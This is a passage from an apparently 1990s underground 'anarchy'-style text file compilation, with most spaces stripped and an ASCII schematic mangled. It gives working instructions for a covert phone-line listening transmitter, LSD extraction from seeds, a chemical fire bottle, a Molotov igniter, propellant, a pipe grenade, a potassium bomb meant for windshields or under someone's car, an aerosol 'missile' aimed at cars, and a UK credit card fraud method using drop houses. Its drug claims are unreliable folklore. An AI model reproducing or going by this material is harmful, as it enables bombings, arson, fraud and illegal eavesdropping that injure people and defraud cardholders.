C8,102100uF@25Velectrolyticcap
C915uF@150Velectrolyticcap
C13110uF@25Velectrolyticcap
TM11555timerdip

A11CA3018amparrayincan
Q1,22PN2222npnsiltransistor
Q31D4OD5npnpwrtabtransistor
D1,2250V1ampreact.1N4002
T111,5k/500matchingtransformer
M11largecrystalmicrophone
J11Phonojackoptionalforsenseoutput
WR3(24")#24redandblackhookupwire
WR4(24")#24blackhookupwire
CL3,42Alligatorclips
CL1,226"batterysnapclips
PB1113/4x41/2x.1perfboard
CA1151/4x3x21/8greyenclosurefab
WR15(12")#24busswire
KN11smallplasticknob
BU11smallclampbushing
B1,229volttransistorbatteryor9Vnicad
CircuitOperation
Not being the most technical guy in the world, and not being very good at
electronics (yet), I'm just repeating what Mr. Iannini's said about the circuit
operation.TheTransmitterconsistsofahighgrainamplifierfedintothetelephone
linesviatransformer.Thecircuitisinitiatedbytheactionofavoltagetransientpulse
occurringacrossthephonelineattheinstantthetelephonecircuitismade(thering,
inotherwords).Thistransientimmediatelytriggersatimerwhoseoutputpin3goes
positive,turningontransistorsQ2andQ3.TimerTM1nowremainsinthisstatefor
aperioddependingonthevaluesofR17andC13(usuallyabout10secondsforthe
valuesshown).WhenQ3isturnedonbythetimer,asimulated"offhook"condition
iscreatedbytheswitchingactionofQ3connectingthe500ohmwindingofthe
transformerdirectlyacrossthephonelines.Simultaneously,Q2clampsthegroundof
A1,amplifierandQ1,outputtransistor,tothenegativereturnofB1,B2,therefore
enabling this amplifier section. Note that B2 is always required by supplying
quiescentpowertoTM1duringnormalconditions.Systemisoff/oncontrolledby
S1 (switch). A crystal mike picks up the sounds that are fed to the first two
transistorsoftheA1arrayconnectedasanemitterfollowerdrivingtheremaining
twotransistorsascascadedcommonemitters.OutputofthearraynowdrivesQ1
capacitively coupled to the 1 500 ohm winding of T1. R7 controls the pick up
sensitivityofthesystem.DiodeD1isforwardbiasedattheinstantofconnectionand
essentiallyappliesanegativepulseatpin2ofTM1,initiatingthecycle.D2clamps
anyhighpositivepulses.C9DCisolatesanddesensitizesthecircuit.Thesystem
describedshouldoperatewhenanyincomingcallismadewithoutringingthephone.
SchematicDiagram

Becausethisistext,thisdoesn'tlooktoohot.Pleaseusealittleimagination!Iwill
hopefullygetagraphicsdrawingofthisoutassoonasIcanonaFontrixgraffile.To
beabletoseewhateverythingis,thischaracter:Ishouldappearasahorizontalbar.I
didthisona][eusinga][e80columncard,soI'msorryifitlookskindaweirdto
you.
Symbols:
resistor:/\/\/switch:_/_
battery:|!|!capacitor(electrolytic):|(
capacitor(disc):||__
transistor:(c)>(e)Transformer:)||(
\_/)||(
|(b)_)||(_
diode:|<
chip:._____.
!_____!(chipsareeasytorecognize!)
Dotsimplyaconnectionbetweenwires.Nodot,noconnection!
i.e.:_!_meansaconnectionwhile_|_meansnoconnection.

.________________________togreenwirephoneline
|
|.______________________toredwirephoneline
||
||._________(M1)______________.
||||
|||R1|
||!__________/\/\/__________!
|||_!_C1
|||thiswireistheamp___
|||<=ground|R2
|||!___________________/\/\/_____________.
|||._______!_______.|
||!______________!4911!________________________!
||||||
||!______________________!712.________________________!
||||A1|R3|
||!______________________!10__*8!_______.____/\/\/____________!^
||||/||||
|||C4|/|\|2ma
||!____||______.|/|/R4B1+
|||||||/|\|!|!
|||R7|C2|/|/|
||!____/\/\/____!_)|_!8*_/||S1|
|||^|6!_______!neg<__/.__!
||||C3|||C5return|

|||!______|(___.__!3|'|(||
|||||51!____________!|
|||\!_______.______!|B2|!|!
||!________.R8/||+
|||\||R6|3ma
|||!__________!____________________|_____/\/\/______!|
|||R5|||v
||!__/\/\/__________|____________________!|
|||||
|||||
|||C6||
||||)|'R9|
|||!__________/\/\/________.|
||||||
|||Q1_!_|R10|
||!_______________/\____________________!_______/\/\/_____!
|||||
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|||C8||
||!_______________)|_____________________|________________!
||!||
||/||
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|||!_____________.||
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||!__________.|||
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|!________.||._____!|
||||||
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|||||C7|
||||'|(||
||________|_______!_______.T1.____||
|||1500)||(500|
|||ohm)||(ohm|
||!_______.)||(.__.|
|||||
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|||+|Q3|

|||||\|
!______________|_______|____|__!__.D1C9|
|||'|<|(||
.______________!||||
|||||
|.________________!|||
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\|.________________!C11||
/||.___||____________!|
R13\|||||||
/|||||
\!__.__|________________!||
|||||R16|R15|
|v||!___/\/\/\______!_/\/\/_!
|neg|||D2||
|return||!_____|<______!|
|B1,B2|\|||
||/|.__________!_.|
||\R14|C12|TM12||
||/!_||_!54!_____!
||\||||||
|||!___!18!_____!
|||||763||
||||!__._.___._!|
||||||||
||||C13|||R17|
|||!___)|__!_!_______|__/\/\/_!
||||||
!____|__!____________________|____________!|
||||
|\|C10|
|/R18!__________)|_____________!
|\
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!__OJ1
senseoutput
Constructionnotes
Becausethedamnedbookjustgaveapictureinsteadofstepbystepinstructions,
andI'lltrytogiveyouasmuchhelpaspossible.Notethatallthepartsthatyouwill
beusingareclearlylabelledintheschematic.Theperfboard,knobs,'gatorclipsetc.
areoptional.Idostronglysuggestthatyoudousetheboard!!!Itwillmakewiring
thecomponentsupmuchmucheasierthanifyoudon'tuseit.Theknobyoucanuse

tocontrolthepot(R7).R7isusedtotunetheITsothatissoundsO.K.overthe
phone.(Yougettodeterminewhatsoundsgood)BychangingthevalueofC13,you
canchangetheamountoftimethatthecircuitwillstayopen(itcannotdetectahang
up,soitworksonatimer.)Avalueof100microFaradswillincreasethetimeby
about10times.Theswitch(S1)determineswhetherornottheunitisoperational.
Closed is on. Open is off. The negative return is the negative terminals of the
battery!!!Thebatterieswilllooksomethinglikethiswhenhookedup:
<v_____..______.._____..____>
||||||
__!__!__||__!__!__
|+|!_/_!|+|
||switch^||
|9volts|||9volts|
!__!negreturn!__!

Tohookthisuptothephoneline,therearethreeways,dependinguponwhattype
ofjackyouhave.Ifitistheoldtype(nonmodular)thenyoucanjustopenupthe
wallplateandconnectthewiresfromthetransmitterdirectlytotheterminalsofthe
phone.Ifyouhaveamodularjackwithfourprongs,attachtheredtothenegative
prong(don'taskmewhichiswhich!Idon'thavethattypeofjack.I'veonlyseen
theminstores)andthegreentothepositiveprong,andplugin.Trynottoshock
yourself.Ifyouhavetheclipintypejack,getdoublemaleextensioncord(onewith
acliponeachend),andchopoffoneclip.Getasharpknifeandspliceoffthegrey
protectivematerial.Youshouldseefourwires,includingonegreenandonered.You
attachtheappropriatewiresfromtheITtothesetwoandplugtheotherendintothe
wall.
GettingtheITtowork
Ifyouhappentohaveaproblem,youshouldattempttodothefollowing(theseare
commonsenserules!!!)Makesurethatyouhavethepolarityofallthecapacitors
right(ifyouusedpolarizedcapacitors,thatis).Makesurethatallthesolderingis
donewellandhasnotshortcircuitedsomethingaccidentally(likeifyouhaveaglob
touchingtwowireswhichshouldnotbetouching.)Checkforothershortcircuits.
Checktoseeifthebatteryisinright.Checktomakesuretheswitchisclosed.Ifit
stilldoesn'twork,dropmealineononeoftheMarylandorVirginiaBBSsandI'll
trytohelpyouout.
Thesenseoutput
Somehoworother,itispossibletohooksomethingelseuptothisandactivateitby
phone(likeanalarm,flashinglightsetc.)Asofthiswriting,Ihavenottriedtomake
oneofthese,butIwill.Ifyouactuallygetitworking,leavemeanotesomewhere.I
surehopeallyoupeopleappreciatethis.

LSD
courtesyofExodus
Ithink,ofallthedrugsontheblackmarkettoday,LSDisthestrangest.Itisthe
mostrecentmajordrugtocometolifeinthepsychedelicsubculture.(Blahblahblah.
Let'sgettothegoodstuff:Howtomakeitinyourkitchen!!!).Grindup150grams
ofMorningGloryseedsorbabyHawaiianwoodroseseeds.In130cc.ofpetroleum
ether,soaktheseedsfortwodays.Filterthesolutionthroughatightscreen.Throw
awaytheliquid,andallowtheseedmushtodry.Fortwodaysallowthemushto
soakin110cc.ofwoodalcohol.Filterthesolutionagain,savingtheliquidand
labellingit"1."Resoakthemushin110cc.ofwoodalcoholfortwodays.Filterand
throwawaythemush.Addtheliquidfromthesecondsoaktothesolutionlabelled
"1."Pourtheliquidintoacookietrayandallowittoevaporate.Whenallofthe
liquidhasevaporated,ayellowgumremains.Thisshouldbescrapedupandputinto
capsules.
30gramsofMorningGloryseeds=1trip 15Hawaiianwoodroseseeds=1trip
Manycompanies,suchasNorthopKinghavebeencoatingtheirseedswithatoxic
chemical,whichispoison.Orderseedsfromawholesaler,asitismuchsaferand
cheaper.Hawaianwoodroseseedscanbeordereddirectlyfrom:
Chong'sNurseryandFlowers
P.O.Box2154
Honolulu,Hawaii
LSDdosage
Thebasicdosagesofacidvaryaccordingtowhatkindofacidisavailableandwhat
mediumofingestionisused.Chemically,thepotencyofLSD25ismeasuredin
microgramsormics.Ifyou'rechemicallymindedormakingyourownacid,then
computingthenumberofmicrogramsisveryimportant.Usuallybetween500and
800micsisplentyforan8hourtrip,dependingonthequalityoftheacid,ofcourse.
I have heard of people taking as much as 1 500 2 000 mics. This is not only
extremely dangerous, it is extremely wasteful. LSD comes packaged in many
differentforms.Themostcommonarelistedbelow:
ThebrownspotorapieceofpaperwithadrieddropofLSDonit,isalwaysaround.
Usuallyonespotequalsonetrip.
Capsuledacidisverytricky,asthecapcanbealmostanycolour,sizeorpotency.
Alwaysaskwhattheacidiscutwith,asalotofacidiscutwitheitherspeedor
strychnine.Alsonotedosage.
Small white or coloured tablets have been known to contain acid, but, as with
capsuledacid,it'simpossibletotellpotency,withoutasking.
Bananas
courtesyofExodus

 Believe it or not, bananas do contain a small quantity of _Musa Sapientum

bananadine_,whichisamild,shortlastingpsychedelic.Therearemucheasier
waysofgettinghigh,butthegreatadvantagetothismethodisthatbananasarelegal.
Obtain15lbs.ofripeyellowbananas.Peelall15lbs.andeatthefruit.Savethe
peels.Withasharpknife,scrapeofftheinsidesofthepeelsandsavethescraped
material.Putallofthescrapedmaterialinalargepotandaddwater.Boilforthreeto
fourhoursuntilithasattainedasolidpasteconsistency.Spreadthispasteoncookie
sheetsanddryinanoverforabout20minutestoahalfhour.Thiswillresultinafine
blackpowder.Makesaboutonepoundofbananadinepowder.Usuallyonewillfeel
theeffectsofbananadineaftersmokingthreeorfourcigarettes.
TableofWeights
PoundsOuncesGramsKilos
116453,60,4536
0,0625128,350,0283
0,035210,001
2,20535,2710001
YummyMarijuanaRecipes
courtesyofExodus
AcapulcoGreen
3ripeavocados;1/2cupchoppedonions;2teaspoonschillipowder;3tablespoons
winevinegar;1/2cupchoppedmarijuana(grass)
Mixthevinegar,grassandchillipowdertogetherandletthemixturestandforone
hour.Thenaddavocadosandonionsandmashitalltogether.Itcanbeservedwith
tacosorasadip.
PotSoup
1cancondensedbeefbroth;3tablespoonsgrass;3tablespoonslemonjuice;1/2
canwater;3tablespoonschoppedwatercress
Combineallingredientsinasaucepanandbringtoaboilovermediumheat.Place
inarefrigeratorfortwotothreehours,reheatandserve.
PorkandBeansandPot
1largecan(1lb.13oz.)porkandbeans;1/2cupgrass;4slicesbacon;1/2cup
lightmolasses;1/2teaspoonhickorysalt;3pineapplerings
Mix together in a casserole, cover top with pineapple and bacon, bake at 350
degreesforabout45minutes.Servesaboutsix.

TheMeatBall
1lb.Hamburger;1/4cupchoppedonions;1cancreamofmushroomsoup;1/4cup
breadcrumbs;3tablespoonsgrass;3tablespoonsIndiarelish
Mixitallupandshapeintomeatballs.Browninfryingpananddrain.Placeina
casserolewithsoupand1/2cupwater,coverandcookoverlowheatforabout30
minutes.Feedsaboutfourpeople.
SpaghettiSauce
1can(6oz.)tomatopaste;2tablespoonsoliveoil;1/2cupchoppedonions;1/2
cupchoppedgrass;1pinchpepper;1can(6oz.)water;1/2clovemincedgarlic;1
bayleaf;1pinchthyme;1/2teaspoonsalt
Mixinlargepot,coverandsimmerwithfrequentstirringfortwohours.Serveover
spaghetti.
PotLoaf
1packetonionsoupmix;1(16oz.)canwholepeeledtomatoes;1/2cupchopped
grass;2lbs.groundbeeforchickenorturkey;1egg;4slicesbread,crumbled
Mixallingredientsandshapeintoaloaf.Bakeforonehourin400degreeoven.
Servesaboutsix.
ChilliBeanPot
2lbs.pintobeans;1lb.bacon, cutintotwoinchsections;2cupsredwine;4
tablespoons chilli powder; 1/ 2 clove garlic; 1 cup chopped grass; 1/ 2 cup
mushrooms
Soakbeansovernightinwater.Inalargepotpourboilingwateroverbeansand
simmerforatleastanhour,addingmorewatertokeepbeanscovered.Nowaddall
otheringredientsandcontinuetosimmerforanotherthreehours.Salttotaste. Serves

aboutten.
BirdStuffing
5cupsryebreadcrumbs;2tablespoonspoultryseasoning;1/2cupeachofraisins
andalmonds;1/2cupcelery;1/3cupchoppedonions;3tablespoonsmeltedbutter;
1/2cupchoppedgrass;2tablespoonsredwine
Mixitalltogetherandthenstuffitin.
ApplePot
4apples(cored);1/2cupbrownsugar;1/4cupwater;4cherries;1/3cupchopped
grass;2tablespoonscinnamon

Powderthegrassinablender,thenmixgrasswithsugarandwater.Stuffcoreswith
this paste. Sprinkle apples with cinnamon, and top with a cherry. Bake for 25
minutesat350degrees.
PotBrownies
1/2cupflour;3tablespoonsshortening;2tablespoonshoney;1egg(beaten);1
tablespoonwater;1/2cupgrass;pinchofsalt;1/4teaspoonbakingpowder;1/2cup
sugar;2tablespoonscornsyrup;1squaremeltedchocolate;1teaspoonvanilla;1/2
cupchoppednuts
Siftflour,bakingpowderandsalttogether.Mixshortening,sugar,honey,syrup,
andegg.Thenblendinchocolateandotheringredientsandmixwell.Spreadinan8
inchpanandbakefor20minutesate350degrees.
BananaBread
1/2cupshortening;2eggs;1teaspoonlemonjuice;3teaspoonsbakingpowder;1
cupsugar;1cupmashedbananas;2cupssiftedflour;1/2cupchoppedgrass;1/2
teaspoonsalt;1cupchoppednuts
Mixtheshorteningandsugar,beateggs,andaddtomixture.Separatelymixbananas
withlemonjuiceandaddtothefirstmixture.Siftflour,saltandbakingpowder
together,thenmixallingredientstogether.Bakefor11/4hoursat375degrees.
SesameSeedCookies
3oz.groundroastsesameseeds;3tablespoonsgroundalmonds;1/4teaspoon
nutmeg;1/4cuphoney;1/2teaspoongroundginger;1/4teaspooncinnamon;1/4
oz.grass
Toastthegrassuntilslightlybrownandthencrushitinamortar.Mixcrushedgrass
with all other ingredients, in a skillet. Place skillet over low flame and add 1
tablespoonofsaltbutter.Allowittocook.Whencool,rollmixtureintolittleballs
anddipthemintothesesameseeds.Ifyouhappentobeinthecountryataplace
wherepot isbeinggrown,here'soneofthegreatestrecipesyoucantry.Picka
mediumsizedleafoffofthemarijuanaplantanddipitintoacupofdrawnbutter,
addsaltandeat.
Peanuts
orig.byJollyRoger
Trythissometimewhenyouarebored!Takeonepoundofrawpeanuts(notroasted
!)!Shellthem,savingtheskinsanddiscardingtheshells.Eatthenuts.Grindupthe
skinsandrollthemintoacigaretteandsmoke!
ChemicalFireBottle

orig.byJollyRoger
Thisincendiarybottleisselfignitingontargetimpact.
MaterialsRequired
HowUsedCommonSource
SulphuricAcidStorageBatteriesMotorVehicles
MaterialProcessingIndustrialPlants
GasolineMotorFuelGasStationorMotorVehicles
PotassiumChlorateMedicineDrugStores
SugarSweeteningFoodsFoodStore
Glassbottlewithstopper(roughly1quartsize)
SmallBottleorjarwithlid.
Ragorabsorbantpaper(papertowels,newspaper)
Stringorrubberbands
Procedure
SulphuricAcidmustbeconcentrated.Ifbatteryacidorotherdiluteacidisused,
concentrateitbyboilinguntildensewhitefumesaregivenoff.Containerusedtoboil
shouldbeofenamelwareorovenglass.
Caution:SulphuricAcidwillburnskinanddestroyclothing.Ifanyisspilled,wash
itawaywithalargequantityofwater.Fumesarealsoverydangerousandshouldnot
beinhaled.Removetheacidfromheatandallowtocooltoroomtemperature.Pour
gasoline into the large (1 quart) bottle until it is approximately 1/ 3 full. Add
concentratedsulphuricacidtogasolineslowlyuntilthebottleisfilledtowithin1"to
2" from top. Place the stopper on the bottle. Wash the outside of the bottle
thoroughlywithclearwater.
Caution:Ifthisisnotdone,thefirebottlemaybedangeroustohandleduringuse!
Wrapacleanclothorseveralsheetsofabsorbantpaperaroundtheoutsideofthe
bottle.Tiewithstringorfastenwithrubberbands.Dissolve1/2cup(100grams)of
potassiumchlorateand1/2cup(100grams)ofsugarinonecup(250cc)ofboiling
water.Allowthesolutiontocool,pourintothesmallbottleandcaptightly.The
cooledsolutionshouldbeapprox.2/3crystalsand1/3liquid.Ifthereismorethan
this,pouroffexcessbeforeusing.
Caution:Storethisbottleseparatelyfromtheotherbottle!
HowToUse
Shakethesmallbottletomixcontentsandpourontotheclothorpaperaroundthe
largebottle.Bottlecanbeusedwetoraftersolutionisdried.However,whendry,the
sugarPotassiumchloratemixtureisverysensitivetosparkorflameandshouldbe
handledaccordingly.Throworlaunchthebottle.Whenthebottlebreaksagainsta

hardsurface(target)thefuelwillignite.
IgniterfromBookMatches
byJollyRoger
ThisisahotignitermadefrompaperbookmatchesforusewithMolotovcocktail
andotherincendiaries.
MaterialRequired
Paperbookmatchesandanadhesiveorfrictiontape
Procedure
Removethestaple(s)frommatchbookandseparatematchesfromcover.Foldand
tapeonerowofmatches(foldinthirds)Shapethecoverintoatubewithstriking
surfaceontheinsideandtape.Makesurethefoldercoverwillfittightlyaroundthe
tapedmatchheads.Leavecoveropenatoppositeendforinsertionofthematches.
Pushthetapedmatchesintothetubeuntilthebottomendsareexposedabout3/4in.
(2cm).Flattenandfoldtheopenendofthetubesothatitlapsoverabout1in.(21/
2cm).Tapeinplace.
UsewithaMolotovCocktail
Tapethe"matchendtab"oftheignitertotheneckoftheMolotovcocktail.Grasp
the"coverandtab"andpullsharplyorquicklytoignite.
GeneralUse
Thebookmatchignitercanbeusedbyitselftoigniteflammableliquids,fusecords
andsimilaritemsrequiringhotignition.
Caution:Storematchesandcompletedignitersinmoistureproofcontainerssuch
asrubberorplasticbagsuntilreadyforuse.Damporwetpaperbookmatcheswill
notignite.
"RedorWhitePowder"Propellant
byJollyRoger
"RedorWhitePowder"Propellantmaybepreparedinasimple,safemanner.The
formulationdescribedbelowwillresultinapproximately21/2poundsofpowder.
Thisisasmallarmspropellantandshouldonlybeusedinweaponswith1/2in.
diameterorless(butnotpistols!).
MaterialRequired

HeatSource(KitchenStoveoropenfire);2gallonmetalbucket;Measuringcup(8
ounces);Woodenspoonorrubberspatula;Metalsheetoraluminiumfoil(atleast18
in.sq.);Flatwindowscreen(atleast1footsquare);PotassiumNitrate(granulated)
21/3cups;Whitesugar(granulated)2cups;Powderedferricoxide(rust)1/8cup
(ifavailable);Clearwater,11/2cups
Procedure
Placethesugar,potassiumnitrate,andwaterinthebucket.Heatwithalowflame,
stirringoccasionallyuntilthesugarandpotassiumnitratedissolve.Ifavailable,add
theferricoxide(rust)tothesolution.Increasetheflameunderthemixtureuntilit
boilsgently.
Note:Themixturewillretaintherustcolouration.
Stirandscrapethebucketsidesoccasionallyuntilthemixtureisreducedtoone
quarterofitsoriginalvolume,thenstircontinuously.Asthewaterevaporates,the
mixture will become thicker until it reaches the consistency of cooked breakfast
cerealorhomemadefudge.Atthisstageofthickness,removethebucketfromthe
heatsourceandspreadthemassonthemetalsheet.Whilethematerialcools,scoreit
with a spoon or spatula in criss crossed furrows about 1 inch apart. Allow the
materialtodry,preferablyinthesun.Asitdries,resoreitaccordingly(aboutevery
20minutes)toaiddrying.Whenthematerialhasdriedtoapointwhereitismoist
andsoftbutnotstickytothetouch,placeasmallspoonfulonthescreen.Rubthe
materialbackandforthagainstthescreenmeshwithspoonorotherflatobjectuntil
thematerialisgranulatedintosmallwormlikeparticles.Aftergranulation,return
thematerialtothesuntoallowtodrycompletely.Seelaterpowderfilez.

PipeHandGrenade
byExodus
HandGrenadescanbemadefromapieceofironpipe.Thefillercanbeofplastic
orgranularmilitaryexplosive,improvisedexplosiveorpropellantfromshotgunor
smallarmsmunition.
MaterialRequired
IronPipe,threadedends,11/2"to3"diameter,3"to8"long.;Two(2)ironpipe
caps;Explosiveorpropellant;Nonelectricblastingcap(Commercialormilitary);
Fusecord;HandDrill;Pliers
Procedure
Placeblastingcapononeendoffusecordandcrimpwithpliers.

Note:Tofindouthowlongthefusecordshouldbe,checkthetimeittakesaknown
lengthtoburn.If12inchesburnsin30seconds,a6inchcordwillignitethegrenade
in15seconds.Screwpipecaptooneendofthepipe.Placefusecordwithblasting
capintotheoppositeendsothattheblastingcapisnearthecentreofthepipe.
Note:Ifplasticexplosiveistobeused,fillpipebeforeinsertingblastingcap.Push
aroundstickintothecentreoftheexplosivetomakeaholeandtheninsertthe
blastingcap.Pourexplosiveorpropellantintopipealittlebitatatime.Tapthebase
ofthepipefrequentlytosettlefiller.Drillaholeinthecentreoftheunassembled
pipecaplargeenoughforthefusecordtopassthrough.Wipepipethreadstoremove
anyfillermaterial.Slidethedrilledpipecapoverthefuseandscrewhandtightonto
thepipe.
U.K.CreditCardFraud22/10/90
writtenbyCreditman
U.K.creditcardfraudisaloteasierthanoverintheStates.Thesamebasic3
essentialsareneeded:asafehouse;creditcardnumberswithXpdateandaddress;
goodsuppliersofnextdaydeliverygoods.
TheSafehouse
Thesafehouseshouldbeonthegroundfloor,soasnottopissoffthedeliveryman
whenhecomestodropoffyourfreshlystolengear.Ifhehastogoup10flightsina
complete dive and some 14 year old kid signs for an A 2 000 then he's gonna
wonder!Makesuretherearenonoseyneighbours,agoodareaisonefullofyuppies
'costheyallgotoworkduringdaytime.Safehousesareusuallyobtainedbypayinga
month'srentinadvanceorputtingdownadepositofsay,200.Eitherthatorbreak
intoaplaceandusethat.
CreditCardNumbers
Thecardnumber,expirydate,startdate(ifpossible),fullname(includingmiddle
initial),phonenumberandfulladdresswithpostcodeareideal.Ifyoucanonlyget
thesurnameandnopostcode,youshouldn'thaveanyrealhassle.Justsayyoumoved
recentlytoyournewaddress.Phonenumberishandy,ifitjustringsandringsbutif
itdoesn't,thenmakesureit'sexdirectory.Youcannotgetawaywithgivingthema
bullshitphonenumber.Somefussycompanieswantphonenumbersjusttocross
checkonCardnetbutgenerallyit'snotneeded.Torecap,here'saquickchecklist:
Cardnumberandexpirydate;
Startdate(optional)
Nameandaddressofcardholder.
Postcode(optional)
Firstname/initials(optional)
Phonenumber(optional).
Ifyouhaveall6,thenyoushouldn'thaveanyhassle.Startdateistherarestitem
youcouldbeaskedfor,postcodeandinitialsbeingmorecommon.Ifyouaremissing
36thenyouneedonehelluvasmoothtalkingbastardonthephoneline!!!


TheOrdering
Noteveryonecanorder1000'sofstuffit'snoteasy.Youhavetobecool,
smoothandhavesomegoodanswerstotheirquestions.Iadvisethatyouonlyorder
upto500worthofstuffinonego,butifyouhavedetails16andthephone
numberwillnotbeansweredfrom95:30pmthengoupto1000(makesureit'sa
gold card!).Whengettingreadytoordermakesureyouhaveatleast3timesthe
amountofsuppliersyouneede.g.ifyouwanttocard5harddrives,makesureyou
have15suppliers.Alotofthetime,theyareeitheroutstock,can'tdonextday
deliveryorwon'tdelivertoadifferentaddress.Quickchecklistofwhatyoumustask
beforehandingovernumber:
Nextdaydelivery,O.K.?
Orderedtodifferentaddresstocard,O.K.?
Doyouhaveiteminstock(prettyobvious,eh?)
Makesureyouaskallofthesequestionsbeforehandingoveryourpreciousnumber.
Excuses
Usualexcusesforadifferentaddressarethatit'sapresentoryou'reonbusiness
hereforthenext5weeksetc.Anyoldbullshitwhyitwon'tgototheproperaddress.
Warning!Invoices!Warning!Invoicesaresometimessentoutwiththeactual
parcelbuttheyarealsosentouttothecardowners(whydoyouthinktheyneedthe
addressfor?)sousingasafehouseformorethan2daysisrisky.A1dayshotis
safe,iftheycatchonthenthey'llstopthegoodsbeforegettingasearchwarrant.
CreditLimits
Limitsoncardsreachfrom500to4000onGoldcards.Youraveragecardwill
beabout10001500.Ittakesawhiletobuildupagoodcreditratinginorderto
havelargelimitssodon'tthinkeverycardwillhold12IBM386's!VisaandAccess
arealwaysusedAmericanExpressetc.areuseless.
Access = Eurocard, Mastercard (begins Visa=(beginswith4,16digitisaGold)
with5)
Ageneralruleisalwaysconfirmanordertomakesurecreditiscleared.Asthe
monthgoeson,creditisusedupthebadtimesarefrom27th3rdwhichiswhenall
thebillscomein.Besttimetocardisaround11thor12th,whenthepoorguyhas
paidoffhislastbillsoyoucanrunupanewone(He,he,he!).
Idealitemstocard
Thebeststuffisalwayscomputerhardwareasit'snextday.Amigas,ST's,PC's
anythingreally.Blankdiscsareawasteoftime,they'retooheavy.Externaldrives,
monitors good stuff basically. Don't order any shit like VCR 's, hi fi, video

cameras,musickeyboards,computersoftware,jewelleryoranythingunder300.
You'llfindthelisteditemsaredifficulttogetnextdaydeliveryandusuallywon't
delivertoadifferentaddressbastards,eh?You'rewastingyourtimewithlittleitems
under300,trytokeepdeliveriesunder10aday.
Thedrop
Twowaysofdoingthedrop:
Signforallthegear(makesureyou'retherebetween9:00and5:30pm)
Don'tturnuptillaround6:30pmandcollectallthecardsthatthedeliverymanhas
left.TheseusuallysayyouwereoutatXXtimesocouldyoupleasearrangenew
timefordeliveryorpickupfromourdepot.Inthatcase,pissofftothedepotand
getallthegear(needabigcar!).Remember,cardingisillegalkiddies,sodon'tdoit
unlessyou'regoingtocutmeonit!
Potassiumbomb
byJollyRoger
Thisisoneofmyfavourites.Thiscreatesaveryunstableexplosiveinaverystable
container.Youwillneed:Atwoendedbottle.Thesearekindahardtofind,youhave
tolookaround,butifyoucantfindone,youwillneedasimilarcontainerinwhich
therearetwototallyseparatesidesthatareairtightandaccessibleattheends,like
this:
!airtightseparator!
________________!_________________
|||
/|\
|
|c|||c|
|a|||a|
|_p|||_p|
\|/
|||
|
Theseparatormustremainairtight/watertightsothisdoesn'tblowoffyourarmin
theprocess(Believeme.Itwill,ifyouarenotexact).Purepotassium.NotSaltPeter
oranyshitlikethat.Thismustbethepureelement.Thisagainmayprovehardto
find.Tryaschoolchemistryteacher.Tellheryouneeditforaproject,orsomeshit
likethat.Trytogetthebiggestpieceyoucan,becausethisworksbestifitasolid
chuck,notapowder.YoucanalsotryEdmundScientificCo.at:
Dept.11A6

C929EdscorpBldg.
Barrington,NJ08007orcall1(609)5478880
Cottonandwater.
Instructions
Takethecottonandstuffsomeintooneendofthecontainerliningonesideofthe
separator.Placesomepotassium,aboutthesizeofaquarterorbigger(carefullyand
makesureyourhandsareperfectlydry,thisstuffreactsveryviolentlywithwater)
intothatsideandpackitintightlywithallthecottonyoucanfit.Nowscrewthecap
ontightly.Ontheothersideoftheseparator,fillitwithasmuchwateraswillfit,
andscrewthatcapon tightly.Youarenowinpossessionofacompactexplosive
madesomewhatstable.Toexplode,throwitatsomething!Thewaterwillreactwith
thepotassiumandBooom!!!Worksgreatonwindowsorwindshields,becausethe
glassfragmentsgoeverywhere(standback)andripstuffapart.Thebiggerthepiece,
thebiggertheboom.Ifnopotassiumcanbefound,thylookingforpureSodium,it
workswelltoo. Exodus relenquishesanyresponsibilitytoanyonewhoattempts
this.Youareonyourown.
P.S.:youcouldalsoplacethislittlesuckerunderthewheelofacarofsomeone
youhate(Waittill'theybackoverthatone!!!).

YourLegalRights
byJollyRoger
Becauseyoupossessthislittlecollectionofmostlyillegalconcepts,youshouldbe
awareofyourlegalrightsIFarrested(hey,ithappenstotheworstofus).
YourLegalRightsare:
Have a hearing before a magistrate or judge, as soon as possible after you are
arrested;
Benotifiedofthechargesagainstyou;
Haveareasonablebailset,ifbailisgranted;
Haveafair,impartialtrialbyjury;
Bepresentatallstagesofthetrial;
Confrontyouraccusers.(withoutthebaseballbat);
Haveyourlawyercrossexaminethewitnesses;
Haveyourlawyercallonwitnessesonyourbehalf;
Betriedforacrimeonlyonce.
Receiveneithercruelnorunusualpunishmentifyouareconvictedofacrimeand
sentenced.
Note!!!:Theserightsareforafteryouarearrestedanddonotincludethereading

oftherightsetc.Iftheserightsareviolatedin any way,thatmaybecausefora

mistrialoreventotalrelease.
HowTheLawProtectsJuvenileOffenders
byJollyRoger
(ortriesto,anyway)
Juvenilesaccusedofbreakingthelawaregrantedsomespecialrightsintendedto
protectthe,becauseoftheirage.Ifajuvenileischargedwithacrimepunishablebya
terminareformschoolorjuveniledetentionfacility,heisassuredtherightto:
Remainsilent,andnotincriminatehimself/herself;
Beplacedinquartersseparatefromadultoffenderswhilebeingheldincustody;
Benotifiedbeforeahearingofthechargesagainsthim;
Bereleasedtohisparentsorguardiansaftersigningawrittenpromisetoappearat
histrial(unlessthechildislikelytorunawayandnotcomebacktocourtunlessheis
dangerousormayhimselfbeindangerifsentbackhome);
Betriedatproceedingsthatareclosedtothepublic;
Havearecordoftheproceedingsmade,incaseoneisneededforafutureappeal;
Berepresentedbyalawyer;
Havealawyerappointedbythecourtifhecannotaffordone;
Confronthisaccusers;
Havehislawyercrossexaminewitnesses.
Again,theserightsareforafteryouhavebeenarrested.
DowntheRoad'Missle
Thismissleisaptlynamedbecauseittravelsbestdownastreetorroad.Thisis
nothingmorethatharmlessfunintendedtoscarethelivingshitoutofoncomingcars.
HowToMakeAMissle
byJollyRoger
Allyouneedare:Hairspraycan,orsomethingelsewithflammablepropellant
(don'tusespraypaintdipshit,itmakesabigmess!);bookofordinarymatches;tape
(clearifpossible,itsthinner);BBorpelletgun(useBB'sifpossible)
Instructions
Tapethebookofmatchestothebottomofthecan,youknow,theconcavepart.
Youmightwanttoarrangethematchessothattheyarespreadoverawideareaof
thebottomofthecan,butclosetogether.Shakethecanupvigorously.Nowplacethe
canonitssidewiththenozzleofthecanpointedinthedirectionyouwantittogo,
downaroad,offaramp,atyoursister,etc.Nowstandbackabit,andshootatthe

matches.Itshouldtakeoff at about30ftpersec!!!Whathappensincaseyou
couldn'ttell,istheBBhitsthematchesandcausesasparkandatroughlythesame
time,puncturestheweakbottomofthecan.Asthepropellantspraysout,ithopefully
comesincontactwiththesparkandpresto.Ifyoudon'tdoitrightyou'llblowalotof
moneybecauseeachcancanonlybeusedonce,soexperimenttofindbestresults.
InTheAirMissle
